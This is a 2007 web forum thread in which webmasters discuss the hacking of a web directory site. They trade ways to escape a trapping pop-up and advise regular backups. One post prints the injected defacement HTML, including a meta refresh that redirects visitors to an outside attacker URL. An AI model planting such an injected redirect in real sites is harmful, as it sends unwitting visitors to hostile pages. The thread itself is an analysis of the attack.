www.Directorynetwork.us is hacked.

Discussion in 'Directories' started by funkymario, Aug 11, 2007.

  1. #1
    i was browsing directories in directory critic, then i saw a banner ad of Aaron's old network http://www.directorynetwork.us, but surprise when i visited the website i found that its Hacked and redirected to the hacker's page..

    if someone know the new owner, send him a pm about this ASAP.
     
    funkymario, Aug 11, 2007 IP
  2. msolution

    msolution Well-Known Member

    Messages:
    1,182
    Likes Received:
    123
    Best Answers:
    0
    Trophy Points:
    175
    #2
    thats bad, so many sites getting Hit! :(
    what s/w was this guy using, any idea!

    M.
     
    msolution, Aug 11, 2007 IP
  3. Fastian

    Fastian Peon

    Messages:
    2,085
    Likes Received:
    235
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Hacked again :(
    That's really disturbing .....

    I hope new owner have his backup ...
     
    Fastian, Aug 11, 2007 IP
  4. malcolm1

    malcolm1 Prominent Member

    Messages:
    7,148
    Likes Received:
    758
    Best Answers:
    0
    Trophy Points:
    310
    #4
    Hello...

    DONT click that link!

    I had to manually shut down as it wouldnt let me out...

    Im sure aaron can contact him as he has all info...

    thx
    malcolm
     
    malcolm1, Aug 11, 2007 IP
    pipes likes this.
  5. funkymario

    funkymario Notable Member

    Messages:
    2,836
    Likes Received:
    369
    Best Answers:
    0
    Trophy Points:
    230
    #5
    i had the same problem but i just closed the stupid login window then pressed Alt + F4 quikly and i got out.
     
    funkymario, Aug 11, 2007 IP
  6. mikey1090

    mikey1090 Moderator Staff

    Messages:
    15,869
    Likes Received:
    1,055
    Best Answers:
    0
    Trophy Points:
    445
    Digital Goods:
    2
    #6
    it redirects to a virus? i got page cannot be displayed. shame about that. we need to find aaron and get the new owner.
     
    mikey1090, Aug 11, 2007 IP
  7. adnan

    adnan Peon

    Messages:
    1,614
    Likes Received:
    82
    Best Answers:
    0
    Trophy Points:
    0
    #7
    Actually, there's an easy workaround,

    kill your browser's process, and if it's firefox, it will ask you to restore the session upon restarting the browser.

    Select yes, and then kill the tab that the site loaded on.

    No harm done :)
     
    adnan, Aug 11, 2007 IP
  8. msolution

    msolution Well-Known Member

    Messages:
    1,182
    Likes Received:
    123
    Best Answers:
    0
    Trophy Points:
    175
    #8
    lol.... aligned the popup corner with the windows corner,
    and double clicked! :D

    M.
     
    msolution, Aug 11, 2007 IP
  9. msolution

    msolution Well-Known Member

    Messages:
    1,182
    Likes Received:
    123
    Best Answers:
    0
    Trophy Points:
    175
    #9
    strange injection,....i think he got to the physical hosting or something!

    notice the double <head> tags?

    <html>
    <head>
    	<title>.:: Hacked by bongmaonlinehp ::.</title>
    	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    	 <META name="y_key" content="7a129d5453a11968" >
    <META NAME="keywords" CONTENT="hacking -security">
    <META NAME="description" CONTENT="hacking -security">
    <META NAME="abstract" CONTENT="hacking -security">
    <META NAME="author" CONTENT="bongmaonlinehp@gmail.com">
    <META NAME="distribution" CONTENT="Global">
    <META NAME="revisit-after" CONTENT="1 days">
    <META NAME="copyright" CONTENT="bongmaonlinehp">
    <META NAME="robots" CONTENT="FOLLOW,INDEX">
    <meta http-equiv="Refresh" Content="1; url=http://hostfiles.mtv9x.com/~imadmin3/forums/attack">
    </head>
    <body>
    </body>
    </html>
    
    
    
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
    <html>
    
    <head>
    	<title>Buy Permanent Links&nbsp;</title>
    	<meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1" />
    	<base href="http://www.directorynetwork.us/" />
    	<link rel="stylesheet" type="text/css" href="http://www.directorynetwork.us/templates/BlueWater/css/style.css" />
    	<meta name="description" content="" />
    	<meta name="keywords" content="" />
    </head>
    
    Code (markup):
    M.
     
    msolution, Aug 11, 2007 IP
  10. Freewebspace

    Freewebspace Notable Member

    Messages:
    6,213
    Likes Received:
    370
    Best Answers:
    0
    Trophy Points:
    275
    #10
    That means we have to be very very careful.
     
    Freewebspace, Aug 11, 2007 IP
  11. funkymario

    funkymario Notable Member

    Messages:
    2,836
    Likes Received:
    369
    Best Answers:
    0
    Trophy Points:
    230
    #11
    and thats one of the reasons (among many others) why i have no sigs or links in my signature.
     
    funkymario, Aug 11, 2007 IP
    shenron likes this.
  12. Fastian

    Fastian Peon

    Messages:
    2,085
    Likes Received:
    235
    Best Answers:
    0
    Trophy Points:
    0
    #12
    If that's the case ..... Can you put my link in there ?? :D

    To everyone else
    If you don't do your backup regularly, consider it as a warning and go ahead do a full backup of your site.

    It wouldn't take much time :)

    Better to secure yourself now than to cry later.
     
    Fastian, Aug 11, 2007 IP
  13. funkymario

    funkymario Notable Member

    Messages:
    2,836
    Likes Received:
    369
    Best Answers:
    0
    Trophy Points:
    230
    #13
    haha lol, no i also dont want any website associated with my image, thats why i didnt sell them.;):D

    cheers.
     
    funkymario, Aug 11, 2007 IP
  14. turbosatan

    turbosatan Well-Known Member

    Messages:
    957
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    135
    #14
    the tattoo forum (link in my sig) :confused:

    got 19896 pages from ip address 194.186.55.209

    i thought initially that it may be a dos attack and then thought thats stupid who would do that to me so i assumed it is just a bot which has got stuck in a loop on the calender page as it is a vbulletin forum

    but now i wonder.

    did i annoy someone on here and they trying to get me back?
     
    turbosatan, Aug 11, 2007 IP
  15. khushal

    khushal Well-Known Member

    Messages:
    1,475
    Likes Received:
    198
    Best Answers:
    0
    Trophy Points:
    155
    #15
    It ruined my FF session!!! it took me to a login page that won't close the pop-up until i ended the FF session through Task manager...
    Anyways its really SAD that the directory market is being HIT these days and hit badly:( hope the owners have backup!!!
     
    khushal, Aug 11, 2007 IP
  16. Fastian

    Fastian Peon

    Messages:
    2,085
    Likes Received:
    235
    Best Answers:
    0
    Trophy Points:
    0
    #16
    That IP is certainly not associated with any SE or Bot.
    Just block it using Cpanel or using .htaccess

    And send a mail to your host about this.
     
    Fastian, Aug 11, 2007 IP
  17. redgsr

    redgsr Well-Known Member

    Messages:
    1,603
    Likes Received:
    62
    Best Answers:
    0
    Trophy Points:
    165
    #17
    Didn't do anything to me when I clicked it.

    It's like one of things when you know you shouldn't touch it but you just can't help yourself. :)
     
    redgsr, Aug 11, 2007 IP
  18. coolsitez

    coolsitez Well-Known Member

    Messages:
    2,586
    Likes Received:
    246
    Best Answers:
    0
    Trophy Points:
    183
    #18
    Didn't scroll to see your warning..

    Don't click on the link!

    That was very annoying!
     
    coolsitez, Aug 11, 2007 IP
  19. mystikmedia

    mystikmedia Jedi Master

    Messages:
    5,564
    Likes Received:
    498
    Best Answers:
    0
    Trophy Points:
    270
    #19
    That's quite disturbing. I hope he has a recent backup and can get everything online quickly. :/ If anyone is going to keep watch on this, please update us here.
     
    mystikmedia, Aug 11, 2007 IP
  20. mikey1090

    mikey1090 Moderator Staff

    Messages:
    15,869
    Likes Received:
    1,055
    Best Answers:
    0
    Trophy Points:
    445
    Digital Goods:
    2
    #20
    Perhaps one of his files was writable, so they just added the META refresh.
     
    mikey1090, Aug 12, 2007 IP